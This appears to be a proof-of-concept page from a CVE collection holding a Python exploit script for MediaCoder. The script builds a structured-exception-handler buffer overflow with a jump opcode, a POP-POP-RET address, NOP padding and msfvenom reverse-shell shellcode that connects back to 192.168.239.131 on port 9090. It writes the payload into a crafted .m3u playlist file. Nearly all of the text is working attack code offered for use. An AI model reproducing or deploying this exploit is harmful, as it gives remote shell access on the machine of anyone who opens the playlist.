4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / mediacoder-exploit.py PY
# Exploit remade with reverse shell by @tankist0x00
import struct

# handler 365 offset
# nseh 361 offset

buf = b""
buf += b"http://"
buf += b"\x41" * 361
# buf += b"\x42" * 4
buf += struct.pack("I", 0x909010eb) # nseh opcode jump
buf += struct.pack("I", 0x66017187)  # handler  : POP EBX # POP EBP # RET

padding = b"\x90" * 0x20

# badchars \x00\x09\x0a\x0d\x20\x3b\x5c\x5d\x5f\xff

# badchars = b""
# badchars += b"\x01\x01\x02\x03\x04\x05\x06\x07\x08\x08\x08\x0b\x0c\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" # till here no badchar
# badchars += b"\x21\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3a\x3c\x3d\x3e\x3f"
# badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5a\x5a\x5a\x5e"
# badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
# badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
# badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
# badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
# badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe"


# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.239.131 LPORT=9090 -f py --bad-chars '\x00\x09\x0a\x0d\x20\x3b\x5c\x5d\x5f\xff'

shellcode =  b""
shellcode += b"\x6a\x51\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73"
shellcode += b"\x13\x16\x96\xf8\xe6\x83\xeb\xfc\xe2\xf4\xea\x7e"
shellcode += b"\x7a\xe6\x16\x96\x98\x6f\xf3\xa7\x38\x82\x9d\xc6"
shellcode += b"\xc8\x6d\x44\x9a\x73\xb4\x02\x1d\x8a\xce\x19\x21"
shellcode += b"\xb2\xc0\x27\x69\x54\xda\x77\xea\xfa\xca\x36\x57"
shellcode += b"\x37\xeb\x17\x51\x1a\x14\x44\xc1\x73\xb4\x06\x1d"
shellcode += b"\xb2\xda\x9d\xda\xe9\x9e\xf5\xde\xf9\x37\x47\x1d"
shellcode += b"\xa1\xc6\x17\x45\x73\xaf\x0e\x75\xc2\xaf\x9d\xa2"
shellcode += b"\x73\xe7\xc0\xa7\x07\x4a\xd7\x59\xf5\xe7\xd1\xae"
shellcode += b"\x18\x93\xe0\x95\x85\x1e\x2d\xeb\xdc\x93\xf2\xce"
shellcode += b"\x73\xbe\x32\x97\x2b\x80\x9d\x9a\xb3\x6d\x4e\x8a"
shellcode += b"\xf9\x35\x9d\x92\x73\xe7\xc6\x1f\xbc\xc2\x32\xcd"
shellcode += b"\xa3\x87\x4f\xcc\xa9\x19\xf6\xc9\xa7\xbc\x9d\x84"
shellcode += b"\x13\x6b\x4b\xfe\xcb\xd4\x16\x96\x90\x91\x65\xa4"
shellcode += b"\xa7\xb2\x7e\xda\x8f\xc0\x11\x69\x2d\x5e\x86\x97"
shellcode += b"\xf8\xe6\x3f\x52\xac\xb6\x7e\xbf\x78\x8d\x16\x69"
shellcode += b"\x2d\xb6\x46\xc6\xa8\xa6\x46\xd6\xa8\x8e\xfc\x99"
shellcode += b"\x27\x06\xe9\x43\x6f\x8c\x13\xfe\x38\x4e\xf9\x15"
shellcode += b"\x90\xe4\x16\xb5\x7a\x6f\xf0\xfc\xe8\xb0\x41\xfe"
shellcode += b"\x61\x43\x62\xf7\x07\x33\x93\x56\x8c\xea\xe9\xd8"
shellcode += b"\xf0\x93\xfa\xfe\x08\x53\xb4\xc0\x07\x33\x7e\xf5"
shellcode += b"\x95\x82\x16\x1f\x1b\xb1\x41\xc1\xc9\x10\x7c\x84"
shellcode += b"\xa1\xb0\xf4\x6b\x9e\x21\x52\xb2\xc4\xe7\x17\x1b"
shellcode += b"\xbc\xc2\x06\x50\xf8\xa2\x42\xc6\xae\xb0\x40\xd0"
shellcode += b"\xae\xa8\x40\xc0\xab\xb0\x7e\xef\x34\xd9\x90\x69"
shellcode += b"\x2d\x6f\xf6\xd8\xae\xa0\xe9\xa6\x90\xee\x91\x8b"
shellcode += b"\x98\x19\xc3\x2d\x08\x53\xb4\xc0\x90\x40\x83\x2b"
shellcode += b"\x65\x19\xc3\xaa\xfe\x9a\x1c\x16\x03\x06\x63\x93"
shellcode += b"\x43\xa1\x05\xe4\x97\x8c\x16\xc5\x07\x33"



junk = b"D" * 0x200
# print(len(junk))

# final = b"D" * 0x20
 
payload = buf + padding + shellcode + junk

try:
    file= open("final.m3u",'wb')
    file.write(payload)
    file.close()
    print("\nExploit has been created!\n")
except:
    print("There has been an Error")